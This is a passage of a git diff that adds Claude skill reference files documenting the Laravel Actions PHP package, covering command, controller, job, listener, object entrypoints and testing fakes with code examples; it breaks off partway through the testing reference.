+ public function asJob(JobDecorator $job, Demo $demo): void
+ {
+ // Queue-specific orchestration and retry behavior.
+ $this->handle($demo);
+ }
+}
+```
+
+Use these members only when needed:
+
+- `$jobTries`: max attempts for the queued execution.
+- `$jobMaxExceptions`: max unhandled exceptions before failing.
+- `getJobRetryUntil()`: absolute retry deadline.
+- `getJobBackoff()`: retry delay strategy per attempt.
+- `getJobUniqueId(...)`: deduplication key for unique jobs.
+- `asJob(JobDecorator $job, ...)`: access attempt metadata and queue-only branching.
+
+### Run as Listener
+
+- Register the action class as listener in `EventServiceProvider`.
+- Use `asListener(EventName $event)` and delegate to `handle(...)`.
+
+### Run as Command
+
+- Define `$commandSignature` and `$commandDescription` properties.
+- Implement `asCommand(Command $command)` and keep console IO in this method only.
+- Import `Command` with `use Illuminate\Console\Command;`.
+
+## Testing Guidance
+
+Use a two-layer strategy:
+
+1. `handle(...)` tests for business correctness.
+2. entrypoint tests (`asController`, `asJob`, `asListener`, `asCommand`) for wiring/orchestration.
+
+### Deep Dive: `AsFake` methods (2.x)
+
+Reference: https://www.laravelactions.com/2.x/as-fake.html
+
+Use these methods intentionally based on what you want to prove.
+
+#### `mock()`
+
+- Replaces the action with a full mock.
+- Best when you need strict expectations and argument assertions.
+
+```php
+PublishArticle::mock()
+ ->shouldReceive('handle')
+ ->once()
+ ->with(42)
+ ->andReturnTrue();
+```
+
+#### `partialMock()`
+
+- Replaces the action with a partial mock.
+- Best when you want to keep most real behavior but stub one expensive/internal method.
+
+```php
+PublishArticle::partialMock()
+ ->shouldReceive('fetchRemoteData')
+ ->once()
+ ->andReturn(['ok' => true]);
+```
+
+#### `spy()`
+
+- Replaces the action with a spy.
+- Best for post-execution verification ("was called with X") without predefining all expectations.
+
+```php
+$spy = PublishArticle::spy()->allows('handle')->andReturnTrue();
+
+// execute code that triggers the action...
+
+$spy->shouldHaveReceived('handle')->with(42);
+```
+
+#### `shouldRun()`
+
+- Shortcut for `mock()->shouldReceive('handle')`.
+- Best for compact orchestration assertions.
+
+```php
+PublishArticle::shouldRun()->once()->with(42)->andReturnTrue();
+```
+
+#### `shouldNotRun()`
+
+- Shortcut for `mock()->shouldNotReceive('handle')`.
+- Best for guard-clause tests and branch coverage.
+
+```php
+PublishArticle::shouldNotRun();
+```
+
+#### `allowToRun()`
+
+- Shortcut for spy + allowing `handle`.
+- Best when you want execution to proceed but still assert interaction.
+
+```php
+$spy = PublishArticle::allowToRun()->andReturnTrue();
+// ...
+$spy->shouldHaveReceived('handle')->once();
+```
+
+#### `isFake()` and `clearFake()`
+
+- `isFake()` checks whether the class is currently swapped.
+- `clearFake()` resets the fake and prevents cross-test leakage.
+
+```php
+expect(PublishArticle::isFake())->toBeFalse();
+PublishArticle::mock();
+expect(PublishArticle::isFake())->toBeTrue();
+PublishArticle::clearFake();
+expect(PublishArticle::isFake())->toBeFalse();
+```
+
+### Recommended test matrix for Actions
+
+- Business rule test: call `handle(...)` directly with real dependencies/factories.
+- HTTP wiring test: hit route/controller, fake downstream actions with `shouldRun` or `shouldNotRun`.
+- Job wiring test: dispatch action as job, assert expected downstream action calls.
+- Event listener test: dispatch event, assert action interaction via fake/spy.
+- Console test: run artisan command, assert action invocation and output.
+
+### Practical defaults
+
+- Prefer `shouldRun()` and `shouldNotRun()` for readability in branch tests.
+- Prefer `spy()`/`allowToRun()` when behavior is mostly real and you only need call verification.
+- Prefer `mock()` when interaction contracts are strict and should fail fast.
+- Use `clearFake()` in cleanup when a fake might leak into another test.
+- Keep side effects isolated: fake only the action under test boundary, not everything.
+
+### Pest style examples
+
+```php
+it('dispatches the downstream action', function () {
+ SendInvoiceEmail::shouldRun()->once()->withArgs(fn (int $invoiceId) => $invoiceId > 0);
+
+ FinalizeInvoice::run(123);
+});
+
+it('does not dispatch when invoice is already sent', function () {
+ SendInvoiceEmail::shouldNotRun();
+
+ FinalizeInvoice::run(123, alreadySent: true);
+});
+```
+
+Run the minimum relevant suite first, e.g. `php artisan test --compact --filter=PublishArticle` or by specific test file.
+
+## Troubleshooting Checklist
+
+- Ensure the class uses `AsAction` and namespace matches autoload.
+- Check route registration when used as controller.
+- Check queue config when using `dispatch`.
+- Verify event-to-listener mapping in `EventServiceProvider`.
+- Keep transport concerns in adapter methods (`asController`, `asCommand`, etc.), not in `handle(...)`.
+
+## Common Pitfalls
+
+- Putting HTTP response/redirect logic inside `handle(...)` instead of `asController(...)`.
+- Duplicating business rules across `as*` methods rather than delegating to `handle(...)`.
+- Assuming listener wiring works without explicit registration where required.
+- Testing only entrypoints and skipping direct `handle(...)` behavior tests.
+- Overusing Actions for one-off, single-context logic with no reuse pressure.
+
+## Topic References
+
+Use these references for deep dives by entrypoint/topic. Keep `SKILL.md` focused on workflow and decision rules.
+
+- Object entrypoint: `references/object.md`
+- Controller entrypoint: `references/controller.md`
+- Job entrypoint: `references/job.md`
+- Listener entrypoint: `references/listener.md`
+- Command entrypoint: `references/command.md`
+- With attributes: `references/with-attributes.md`
+- Testing and fakes: `references/testing-fakes.md`
+- Troubleshooting: `references/troubleshooting.md`
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/references/command.md b/.claude/skills/laravel-actions/references/command.md
new file mode 100644
index 000000000..a7b255daf
--- /dev/null
+++ b/.claude/skills/laravel-actions/references/command.md
@@ -0,0 +1,160 @@
+# Command Entrypoint (`asCommand`)
+
+## Scope
+
+Use this reference when exposing actions as Artisan commands.
+
+## Recap
+
+- Documents command execution via `asCommand(...)` and fallback to `handle(...)`.
+- Covers command metadata via methods/properties (signature, description, help, hidden).
+- Includes registration example and focused artisan test pattern.
+- Reinforces separation between console I/O and domain logic.
+
+## Recommended pattern
+
+- Define `$commandSignature` and `$commandDescription`.
+- Implement `asCommand(Command $command)` for console I/O.
+- Keep business logic in `handle(...)`.
+
+## Methods used (`CommandDecorator`)
+
+### `asCommand`
+
+Called when executed as a command. If missing, it falls back to `handle(...)`.
+
+```php
+use Illuminate\Console\Command;
+
+class UpdateUserRole
+{
+ use AsAction;
+
+ public string $commandSignature = 'users:update-role {user_id} {role}';
+
+ public function handle(User $user, string $newRole): void
+ {
+ $user->update(['role' => $newRole]);
+ }
+
+ public function asCommand(Command $command): void
+ {
+ $this->handle(
+ User::findOrFail($command->argument('user_id')),
+ $command->argument('role')
+ );
+
+ $command->info('Done!');
+ }
+}
+```
+
+### `getCommandSignature`
+
+Defines the command signature. Required when registering an action as a command if no `$commandSignature` property is set.
+
+```php
+public function getCommandSignature(): string
+{
+ return 'users:update-role {user_id} {role}';
+}
+```
+
+### `$commandSignature`
+
+Property alternative to `getCommandSignature`.
+
+```php
+public string $commandSignature = 'users:update-role {user_id} {role}';
+```
+
+### `getCommandDescription`
+
+Provides command description.
+
+```php
+public function getCommandDescription(): string
+{
+ return 'Updates the role of a given user.';
+}
+```
+
+### `$commandDescription`
+
+Property alternative to `getCommandDescription`.
+
+```php
+public string $commandDescription = 'Updates the role of a given user.';
+```
+
+### `getCommandHelp`
+
+Provides additional help text shown with `--help`.
+
+```php
+public function getCommandHelp(): string
+{
+ return 'My help message.';
+}
+```
+
+### `$commandHelp`
+
+Property alternative to `getCommandHelp`.
+
+```php
+public string $commandHelp = 'My help message.';
+```
+
+### `isCommandHidden`
+
+Defines whether command should be hidden from artisan list. Default is `false`.
+
+```php
+public function isCommandHidden(): bool
+{
+ return true;
+}
+```
+
+### `$commandHidden`
+
+Property alternative to `isCommandHidden`.
+
+```php
+public bool $commandHidden = true;
+```
+
+## Examples
+
+### Register in console kernel
+
+```php
+// app/Console/Kernel.php
+protected $commands = [
+ UpdateUserRole::class,
+];
+```
+
+### Focused command test
+
+```php
+$this->artisan('users:update-role 1 admin')
+ ->expectsOutput('Done!')
+ ->assertSuccessful();
+```
+
+## Checklist
+
+- `use Illuminate\Console\Command;` is imported.
+- Signature/options/arguments are documented.
+- Command test verifies invocation and output.
+
+## Common pitfalls
+
+- Mixing command I/O with domain logic in `handle(...)`.
+- Missing/ambiguous command signature.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-command.html
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/references/controller.md b/.claude/skills/laravel-actions/references/controller.md
new file mode 100644
index 000000000..d48c34df8
--- /dev/null
+++ b/.claude/skills/laravel-actions/references/controller.md
@@ -0,0 +1,339 @@
+# Controller Entrypoint (`asController`)
+
+## Scope
+
+Use this reference when exposing an action through HTTP routes.
+
+## Recap
+
+- Documents controller lifecycle around `asController(...)` and response adapters.
+- Covers routing patterns, middleware, and optional in-action `routes()` registration.
+- Summarizes validation/authorization hooks used by `ActionRequest`.
+- Provides extension points for JSON/HTML responses and failure customization.
+
+## Recommended pattern
+
+- Route directly to action class when appropriate.
+- Keep HTTP adaptation in controller methods (`asController`, `jsonResponse`, `htmlResponse`).
+- Keep domain logic in `handle(...)`.
+
+## Methods provided (`AsController` trait)
+
+### `__invoke`
+
+Required so Laravel can register the action class as an invokable controller.
+
+```php
+$action($someArguments);
+
+// Equivalent to:
+$action->handle($someArguments);
+```
+
+If the method does not exist, Laravel route registration fails for invokable controllers.
+
+```php
+// Illuminate\Routing\RouteAction
+protected static function makeInvokable($action)
+{
+ if (! method_exists($action, '__invoke')) {
+ throw new UnexpectedValueException("Invalid route action: [{$action}].");
+ }
+
+ return $action.'@__invoke';
+}
+```
+
+If you need your own `__invoke`, alias the trait implementation:
+
+```php
+class MyAction
+{
+ use AsAction {
+ __invoke as protected invokeFromLaravelActions;
+ }
+
+ public function __invoke()
+ {
+ // Custom behavior...
+ }
+}
+```
+
+## Methods used (`ControllerDecorator` + `ActionRequest`)
+
+### `asController`
+
+Called when used as invokable controller. If missing, it falls back to `handle(...)`.
+
+```php
+public function asController(User $user, Request $request): Response
+{
+ $article = $this->handle(
+ $user,
+ $request->get('title'),
+ $request->get('body')
+ );
+
+ return redirect()->route('articles.show', [$article]);
+}
+```
+
+### `jsonResponse`
+
+Called after `asController` when request expects JSON.
+
+```php
+public function jsonResponse(Article $article, Request $request): ArticleResource
+{
+ return new ArticleResource($article);
+}
+```
+
+### `htmlResponse`
+
+Called after `asController` when request expects HTML.
+
+```php
+public function htmlResponse(Article $article, Request $request): Response
+{
+ return redirect()->route('articles.show', [$article]);
+}
+```
+
+### `getControllerMiddleware`
+
+Adds middleware directly on the action controller.
+
+```php
+public function getControllerMiddleware(): array
+{
+ return ['auth', MyCustomMiddleware::class];
+}
+```
+
+### `routes`
+
+Defines routes directly in the action.
+
+```php
+public static function routes(Router $router)
+{
+ $router->get('author/{author}/articles', static::class);
+}
+```
+
+To enable this, register routes from actions in a service provider:
+
+```php
+use Lorisleiva\Actions\Facades\Actions;
+
+Actions::registerRoutes();
+Actions::registerRoutes('app/MyCustomActionsFolder');
+Actions::registerRoutes([
+ 'app/Authentication',
+ 'app/Billing',
+ 'app/TeamManagement',
+]);
+```
+
+### `prepareForValidation`
+
+Called before authorization and validation are resolved.
+
+```php
+public function prepareForValidation(ActionRequest $request): void
+{
+ $request->merge(['some' => 'additional data']);
+}
+```
+
+### `authorize`
+
+Defines authorization logic.
+
+```php
+public function authorize(ActionRequest $request): bool
+{
+ return $request->user()->role === 'author';
+}
+```
+
+You can also return gate responses:
+
+```php
+use Illuminate\Auth\Access\Response;
+
+public function authorize(ActionRequest $request): Response
+{
+ if ($request->user()->role !== 'author') {
+ return Response::deny('You must be an author to create a new article.');
+ }
+
+ return Response::allow();
+}
+```
+
+### `rules`
+
+Defines validation rules.
+
+```php
+public function rules(): array
+{
+ return [
+ 'title' => ['required', 'min:8'],
+ 'body' => ['required', IsValidMarkdown::class],
+ ];
+}
+```
+
+### `withValidator`
+
+Adds custom validation logic with an after hook.
+
+```php
+use Illuminate\Validation\Validator;
+
+public function withValidator(Validator $validator, ActionRequest $request): void
+{
+ $validator->after(function (Validator $validator) use ($request) {
+ if (! Hash::check($request->get('current_password'), $request->user()->password)) {
+ $validator->errors()->add('current_password', 'Wrong password.');
+ }
+ });
+}
+```
+
+### `afterValidator`
+
+Alternative to add post-validation checks.
+
+```php
+use Illuminate\Validation\Validator;
+
+public function afterValidator(Validator $validator, ActionRequest $request): void
+{
+ if (! Hash::check($request->get('current_password'), $request->user()->password)) {
+ $validator->errors()->add('current_password', 'Wrong password.');
+ }
+}
+```
+
+### `getValidator`
+
+Provides a custom validator instead of default rules pipeline.
+
+```php
+use Illuminate\Validation\Factory;
+use Illuminate\Validation\Validator;
+
+public function getValidator(Factory $factory, ActionRequest $request): Validator
+{
+ return $factory->make($request->only('title', 'body'), [
+ 'title' => ['required', 'min:8'],
+ 'body' => ['required', IsValidMarkdown::class],
+ ]);
+}
+```
+
+### `getValidationData`
+
+Defines which data is validated (default: `$request->all()`).
+
+```php
+public function getValidationData(ActionRequest $request): array
+{
+ return $request->all();
+}
+```
+
+### `getValidationMessages`
+
+Custom validation error messages.
+
+```php
+public function getValidationMessages(): array
+{
+ return [
+ 'title.required' => 'Looks like you forgot the title.',
+ 'body.required' => 'Is that really all you have to say?',
+ ];
+}
+```
+
+### `getValidationAttributes`
+
+Human-friendly names for request attributes.
+
+```php
+public function getValidationAttributes(): array
+{
+ return [
+ 'title' => 'headline',
+ 'body' => 'content',
+ ];
+}
+```
+
+### `getValidationRedirect`
+
+Custom redirect URL on validation failure.
+
+```php
+public function getValidationRedirect(UrlGenerator $url): string
+{
+ return $url->to('/my-custom-redirect-url');
+}
+```
+
+### `getValidationErrorBag`
+
+Custom error bag name on validation failure (default: `default`).
+
+```php
+public function getValidationErrorBag(): string
+{
+ return 'my_custom_error_bag';
+}
+```
+
+### `getValidationFailure`
+
+Override validation failure behavior.
+
+```php
+public function getValidationFailure(): void
+{
+ throw new MyCustomValidationException();
+}
+```
+
+### `getAuthorizationFailure`
+
+Override authorization failure behavior.
+
+```php
+public function getAuthorizationFailure(): void
+{
+ throw new MyCustomAuthorizationException();
+}
+```
+
+## Checklist
+
+- Route wiring points to the action class.
+- `asController(...)` delegates to `handle(...)`.
+- Validation/authorization methods are explicit where needed.
+- Response mapping is split by channel (`jsonResponse`, `htmlResponse`) when useful.
+- HTTP tests cover both success and validation/authorization failure branches.
+
+## Common pitfalls
+
+- Putting response/redirect logic in `handle(...)`.
+- Duplicating business rules in `asController(...)` instead of delegating.
+- Assuming action route discovery works without `Actions::registerRoutes(...)` when using in-action `routes()`.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-controller.html
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/references/job.md b/.claude/skills/laravel-actions/references/job.md
new file mode 100644
index 000000000..b4c7cbea0
--- /dev/null
+++ b/.claude/skills/laravel-actions/references/job.md
@@ -0,0 +1,425 @@
+# Job Entrypoint (`dispatch`, `asJob`)
+
+## Scope
+
+Use this reference when running an action through queues.
+
+## Recap
+
+- Lists async/sync dispatch helpers and conditional dispatch variants.
+- Covers job wrapping/chaining with `makeJob`, `makeUniqueJob`, and `withChain`.
+- Documents queue assertion helpers for tests (`assertPushed*`).
+- Summarizes `JobDecorator` hooks/properties for retries, uniqueness, timeout, and failure handling.
+
+## Recommended pattern
+
+- Dispatch with `Action::dispatch(...)` for async execution.
+- Keep queue-specific orchestration in `asJob(...)`.
+- Keep reusable business logic in `handle(...)`.
+
+## Methods provided (`AsJob` trait)
+
+### `dispatch`
+
+Dispatches the action asynchronously.
+
+```php
+SendTeamReportEmail::dispatch($team);
+```
+
+### `dispatchIf`
+
+Dispatches asynchronously only if condition is met.
+
+```php
+SendTeamReportEmail::dispatchIf($team->plan === 'premium', $team);
+```
+
+### `dispatchUnless`
+
+Dispatches asynchronously unless condition is met.
+
+```php
+SendTeamReportEmail::dispatchUnless($team->plan === 'free', $team);
+```
+
+### `dispatchSync`
+
+Dispatches synchronously.
+
+```php
+SendTeamReportEmail::dispatchSync($team);
+```
+
+### `dispatchNow`
+
+Alias of `dispatchSync`.
+
+```php
+SendTeamReportEmail::dispatchNow($team);
+```
+
+### `dispatchAfterResponse`
+
+Dispatches synchronously after the HTTP response is sent.
+
+```php
+SendTeamReportEmail::dispatchAfterResponse($team);
+```
+
+### `makeJob`
+
+Creates a `JobDecorator` wrapper. Useful with `dispatch(...)` helper or chains.
+
+```php
+dispatch(SendTeamReportEmail::makeJob($team));
+```
+
+### `makeUniqueJob`
+
+Creates a `UniqueJobDecorator` wrapper. Usually automatic with `ShouldBeUnique`, but can be forced.
+
+```php
+dispatch(SendTeamReportEmail::makeUniqueJob($team));
+```
+
+### `withChain`
+
+Attaches jobs to run after successful processing.
+
+```php
+$chain = [
+ OptimizeTeamReport::makeJob($team),
+ SendTeamReportEmail::makeJob($team),
+];
+
+CreateNewTeamReport::withChain($chain)->dispatch($team);
+```
+
+Equivalent using `Bus::chain(...)`:
+
+```php
+use Illuminate\Support\Facades\Bus;
+
+Bus::chain([
+ CreateNewTeamReport::makeJob($team),
+ OptimizeTeamReport::makeJob($team),
+ SendTeamReportEmail::makeJob($team),
+])->dispatch();
+```
+
+Chain assertion example:
+
+```php
+use Illuminate\Support\Facades\Bus;
+
+Bus::fake();
+
+Bus::assertChained([
+ CreateNewTeamReport::makeJob($team),
+ OptimizeTeamReport::makeJob($team),
+ SendTeamReportEmail::makeJob($team),
+]);
+```
+
+### `assertPushed`
+
+Asserts the action was queued.
+
+```php
+use Illuminate\Support\Facades\Queue;
+
+Queue::fake();
+
+SendTeamReportEmail::assertPushed();
+SendTeamReportEmail::assertPushed(3);
+SendTeamReportEmail::assertPushed($callback);
+SendTeamReportEmail::assertPushed(3, $callback);
+```
+
+`$callback` receives:
+- Action instance.
+- Dispatched arguments.
+- `JobDecorator` instance.
+- Queue name.
+
+### `assertNotPushed`
+
+Asserts the action was not queued.
+
+```php
+use Illuminate\Support\Facades\Queue;
+
+Queue::fake();
+
+SendTeamReportEmail::assertNotPushed();
+SendTeamReportEmail::assertNotPushed($callback);
+```
+
+### `assertPushedOn`
+
+Asserts the action was queued on a specific queue.
+
+```php
+use Illuminate\Support\Facades\Queue;
+
+Queue::fake();
+
+SendTeamReportEmail::assertPushedOn('reports');
+SendTeamReportEmail::assertPushedOn('reports', 3);
+SendTeamReportEmail::assertPushedOn('reports', $callback);
+SendTeamReportEmail::assertPushedOn('reports', 3, $callback);
+```
+
+## Methods used (`JobDecorator`)
+
+### `asJob`
+
+Called when dispatched as a job. Falls back to `handle(...)` if missing.
+
+```php
+class SendTeamReportEmail
+{
+ use AsAction;
+
+ public function handle(Team $team, bool $fullReport = false): void
+ {
+ // Prepare report and send it to all $team->users.
+ }
+
+ public function asJob(Team $team): void
+ {
+ $this->handle($team, true);
+ }
+}
+```
+
+### `getJobMiddleware`
+
+Adds middleware to the queued action.
+
+```php
+public function getJobMiddleware(array $parameters): array
+{
+ return [new RateLimited('reports')];
+}
+```
+
+### `configureJob`
+
+Configures `JobDecorator` options.
+
+```php
+use Lorisleiva\Actions\Decorators\JobDecorator;
+
+public function configureJob(JobDecorator $job): void
+{
+ $job->onConnection('my_connection')
+ ->onQueue('my_queue')
+ ->through(['my_middleware'])
+ ->chain(['my_chain'])
+ ->delay(60);
+}
+```
+
+### `$jobConnection`
+
+Defines queue connection.
+
+```php
+public string $jobConnection = 'my_connection';
+```
+
+### `$jobQueue`
+
+Defines queue name.
+
+```php
+public string $jobQueue = 'my_queue';
+```
+
+### `$jobTries`
+
+Defines max attempts.
+
+```php
+public int $jobTries = 10;
+```
+
+### `$jobMaxExceptions`
+
+Defines max unhandled exceptions before failure.
+
+```php
+public int $jobMaxExceptions = 3;
+```
+
+### `$jobBackoff`
+
+Defines retry delay seconds.
+
+```php
+public int $jobBackoff = 60;
+```
+
+### `getJobBackoff`
+
+Defines retry delay (int or per-attempt array).
+
+```php
+public function getJobBackoff(): int
+{
+ return 60;
+}
+
+public function getJobBackoff(): array
+{
+ return [30, 60, 120];
+}
+```
+
+### `$jobTimeout`
+
+Defines timeout in seconds.
+
+```php
+public int $jobTimeout = 60 * 30;
+```
+
+### `$jobRetryUntil`
+
+Defines timestamp retry deadline.
+
+```php
+public int $jobRetryUntil = 1610191764;
+```
+
+### `getJobRetryUntil`
+
+Defines retry deadline as `DateTime`.
+
+```php
+public function getJobRetryUntil(): DateTime
+{
+ return now()->addMinutes(30);
+}
+```
+
+### `getJobDisplayName`
+
+Customizes queued job display name.
+
+```php
+public function getJobDisplayName(): string
+{
+ return 'Send team report email';
+}
+```
+
+### `getJobTags`
+
+Adds queue tags.
+
+```php
+public function getJobTags(Team $team): array
+{
+ return ['report', 'team:'.$team->id];
+}
+```
+
+### `getJobUniqueId`
+
+Defines uniqueness key when using `ShouldBeUnique`.
+
+```php
+public function getJobUniqueId(Team $team): int
+{
+ return $team->id;
+}
+```
+
+### `$jobUniqueId`
+
+Static uniqueness key alternative.
+
+```php
+public string $jobUniqueId = 'some_static_key';
+```
+
+### `getJobUniqueFor`
+
+Defines uniqueness lock duration in seconds.
+
+```php
+public function getJobUniqueFor(Team $team): int
+{
+ return $team->role === 'premium' ? 1800 : 3600;
+}
+```
+
+### `$jobUniqueFor`
+
+Property alternative for uniqueness lock duration.
+
+```php
+public int $jobUniqueFor = 3600;
+```
+
+### `getJobUniqueVia`
+
+Defines cache driver used for uniqueness lock.
+
+```php
+public function getJobUniqueVia()
+{
+ return Cache::driver('redis');
+}
+```
+
+### `$jobDeleteWhenMissingModels`
+
+Property alternative for missing model handling.
+
+```php
+public bool $jobDeleteWhenMissingModels = true;
+```
+
+### `getJobDeleteWhenMissingModels`
+
+Defines whether jobs with missing models are deleted.
+
+```php
+public function getJobDeleteWhenMissingModels(): bool
+{
+ return true;
+}
+```
+
+### `jobFailed`
+
+Handles job failure. Receives exception and dispatched parameters.
+
+```php
+public function jobFailed(?Throwable $e, ...$parameters): void
+{
+ // Notify users, report errors, trigger compensations...
+}
+```
+
+## Checklist
+
+- Async/sync dispatch method matches use-case (`dispatch`, `dispatchSync`, `dispatchAfterResponse`).
+- Queue config is explicit when needed (`$jobConnection`, `$jobQueue`, `configureJob`).
+- Retry/backoff/timeout policies are intentional.
+- `asJob(...)` delegates to `handle(...)` unless queue-specific branching is required.
+- Queue tests use `Queue::fake()` and action assertions (`assertPushed*`).
+
+## Common pitfalls
+
+- Embedding domain logic only in `asJob(...)`.
+- Forgetting uniqueness/timeout/retry controls on heavy jobs.
+- Missing queue-specific assertions in tests.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-job.html
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/references/listener.md b/.claude/skills/laravel-actions/references/listener.md
new file mode 100644
index 000000000..c5233001d
--- /dev/null
+++ b/.claude/skills/laravel-actions/references/listener.md
@@ -0,0 +1,81 @@
+# Listener Entrypoint (`asListener`)
+
+## Scope
+
+Use this reference when wiring actions to domain/application events.
+
+## Recap
+
+- Shows how listener execution maps event payloads into `handle(...)` arguments.
+- Describes `asListener(...)` fallback behavior and adaptation role.
+- Includes event registration example for provider wiring.
+- Emphasizes test focus on dispatch and action interaction.
+
+## Recommended pattern
+
+- Register action listener in `EventServiceProvider` (or project equivalent).
+- Use `asListener(Event $event)` for event adaptation.
+- Delegate core logic to `handle(...)`.
+
+## Methods used (`ListenerDecorator`)
+
+### `asListener`
+
+Called when executed as an event listener. If missing, it falls back to `handle(...)`.
+
+```php
+class SendOfferToNearbyDrivers
+{
+ use AsAction;
+
+ public function handle(Address $source, Address $destination): void
+ {
+ // ...
+ }
+
+ public function asListener(TaxiRequested $event): void
+ {
+ $this->handle($event->source, $event->destination);
+ }
+}
+```
+
+## Examples
+
+### Event registration
+
+```php
+// app/Providers/EventServiceProvider.php
+protected $listen = [
+ TaxiRequested::class => [
+ SendOfferToNearbyDrivers::class,
+ ],
+];
+```
+
+### Focused listener test
+
+```php
+use Illuminate\Support\Facades\Event;
+
+Event::fake();
+
+TaxiRequested::dispatch($source, $destination);
+
+Event::assertDispatched(TaxiRequested::class);
+```
+
+## Checklist
+
+- Event-to-listener mapping is registered.
+- Listener method signature matches event contract.
+- Listener tests verify dispatch and action interaction.
+
+## Common pitfalls
+
+- Assuming automatic listener registration when explicit mapping is required.
+- Re-implementing business logic in `asListener(...)`.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-listener.html
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/references/object.md b/.claude/skills/laravel-actions/references/object.md
new file mode 100644
index 000000000..6a90be4d5
--- /dev/null
+++ b/.claude/skills/laravel-actions/references/object.md
@@ -0,0 +1,118 @@
+# Object Entrypoint (`run`, `make`, DI)
+
+## Scope
+
+Use this reference when the action is invoked as a plain object.
+
+## Recap
+
+- Explains object-style invocation with `make`, `run`, `runIf`, `runUnless`.
+- Clarifies when to use static helpers versus DI/manual invocation.
+- Includes minimal examples for direct run and service-level injection.
+- Highlights boundaries: business logic stays in `handle(...)`.
+
+## Recommended pattern
+
+- Keep core business logic in `handle(...)`.
+- Prefer `Action::run(...)` for readability.
+- Use `Action::make()->handle(...)` or DI only when needed.
+
+## Methods provided
+
+### `make`
+
+Resolves the action from the container.
+
+```php
+PublishArticle::make();
+
+// Equivalent to:
+app(PublishArticle::class);
+```
+
+### `run`
+
+Resolves and executes the action.
+
+```php
+PublishArticle::run($articleId);
+
+// Equivalent to:
+PublishArticle::make()->handle($articleId);
+```
+
+### `runIf`
+
+Resolves and executes the action only if the condition is met.
+
+```php
+PublishArticle::runIf($shouldPublish, $articleId);
+
+// Equivalent mental model:
+if ($shouldPublish) {
+ PublishArticle::run($articleId);
+}
+```
+
+### `runUnless`
+
+Resolves and executes the action only if the condition is not met.
+
+```php
+PublishArticle::runUnless($alreadyPublished, $articleId);
+
+// Equivalent mental model:
+if (! $alreadyPublished) {
+ PublishArticle::run($articleId);
+}
+```
+
+## Checklist
+
+- Input/output types are explicit.
+- `handle(...)` has no transport concerns.
+- Business behavior is covered by direct `handle(...)` tests.
+
+## Common pitfalls
+
+- Putting HTTP/CLI/queue concerns in `handle(...)`.
+- Calling adapters from `handle(...)` instead of the reverse.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-object.html
+
+## Examples
+
+### Minimal object-style invocation
+
+```php
+final class PublishArticle
+{
+ use AsAction;
+
+ public function handle(int $articleId): bool
+ {
+ // Domain logic...
+ return true;
+ }
+}
+
+$published = PublishArticle::run(42);
+```
+
+### Dependency injection invocation
+
+```php
+final class ArticleService
+{
+ public function __construct(
+ private PublishArticle $publishArticle
+ ) {}
+
+ public function publish(int $articleId): bool
+ {
+ return $this->publishArticle->handle($articleId);
+ }
+}
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-actions/references/testing-fakes.md b/.claude/skills/laravel-actions/references/testing-fakes.md
new file mode 100644
index 000000000..97766e6ce
--- /dev/null
+++ b/.claude/skills/laravel-actions/references/testing-fakes.md
@@ -0,0 +1,160 @@
+# Testing and Action Fakes
+
+## Scope
+
+Use this reference when isolating action orchestration in tests.
+
+## Recap
+
+- Summarizes all `AsFake` helpers (`mock`, `partialMock`, `spy`, `shouldRun`, `shouldNotRun`, `allowToRun`).
+- Clarifies when to assert execution versus non-execution.
+- Covers fake lifecycle checks/reset (`isFake`, `clearFake`).
+- Provides branch-oriented test examples for orchestration confidence.
+
+## Core methods
+
+- `mock()`
+- `partialMock()`
+- `spy()`
+- `shouldRun()`
+- `shouldNotRun()`
+- `allowToRun()`
+- `isFake()`
+- `clearFake()`
+
+## Recommended pattern
+
+- Test `handle(...)` directly for business rules.
+- Test entrypoints for wiring/orchestration.
+- Fake only at the boundary under test.
+
+## Methods provided (`AsFake` trait)
+
+### `mock`
+
+Swaps the action with a full mock.
+
+```php
+FetchContactsFromGoogle::mock()
+ ->shouldReceive('handle')
+ ->with(42)
+ ->andReturn(['Loris', 'Will', 'Barney']);
+```
+
+### `partialMock`
+
+Swaps the action with a partial mock.
+
+```php
+FetchContactsFromGoogle::partialMock()
+ ->shouldReceive('fetch')
+ ->with('some_google_identifier')
+ ->andReturn(['Loris', 'Will', 'Barney']);
+```
+
+### `spy`
+
+Swaps the action with a spy.
+
+```php
+$spy = FetchContactsFromGoogle::spy()
+ ->allows('handle')
+ ->andReturn(['Loris', 'Will', 'Barney']);
+
+// ...
+
+$spy->shouldHaveReceived('handle')->with(42);
+```
+
+### `shouldRun`
+
+Helper adding expectation on `handle`.
+
+```php
+FetchContactsFromGoogle::shouldRun();
+
+// Equivalent to:
+FetchContactsFromGoogle::mock()->shouldReceive('handle');
+```
+
+### `shouldNotRun`
+
+Helper adding negative expectation on `handle`.
+
+```php
+FetchContactsFromGoogle::shouldNotRun();
+
+// Equivalent to:
+FetchContactsFromGoogle::mock()->shouldNotReceive('handle');
+```
+
+### `allowToRun`
+
+Helper allowing `handle` on a spy.
+
+```php
+$spy = FetchContactsFromGoogle::allowToRun()
+ ->andReturn(['Loris', 'Will', 'Barney']);
+
+// ...
+
+$spy->shouldHaveReceived('handle')->with(42);
+```
+
+### `isFake`
+
+Returns whether the action has been swapped with a fake.
+
+```php
+FetchContactsFromGoogle::isFake(); // false
+FetchContactsFromGoogle::mock();
+FetchContactsFromGoogle::isFake(); // true
+```
+
+### `clearFake`
+
+Clears the fake instance, if any.
+
+```php
+FetchContactsFromGoogle::mock();
+FetchContactsFromGoogle::isFake(); // true
+FetchContactsFromGoogle::clearFake();
+FetchContactsFromGoogle::isFake(); // false
+```
+
+## Examples
+
+### Orchestration test
+
+```php
+it('runs sync contacts for premium teams', function () {
+ SyncGoogleContacts::shouldRun()->once()->with(42)->andReturnTrue();
+
+ ImportTeamContacts::run(42, isPremium: true);
+});
+```
+
+### Guard-clause test
+
+```php
+it('does not run sync when integration is disabled', function () {
+ SyncGoogleContacts::shouldNotRun();
+
+ ImportTeamContacts::run(42, integrationEnabled: false);
+});
+```
+
+## Checklist
+
+- Assertions verify call intent and argument contracts.
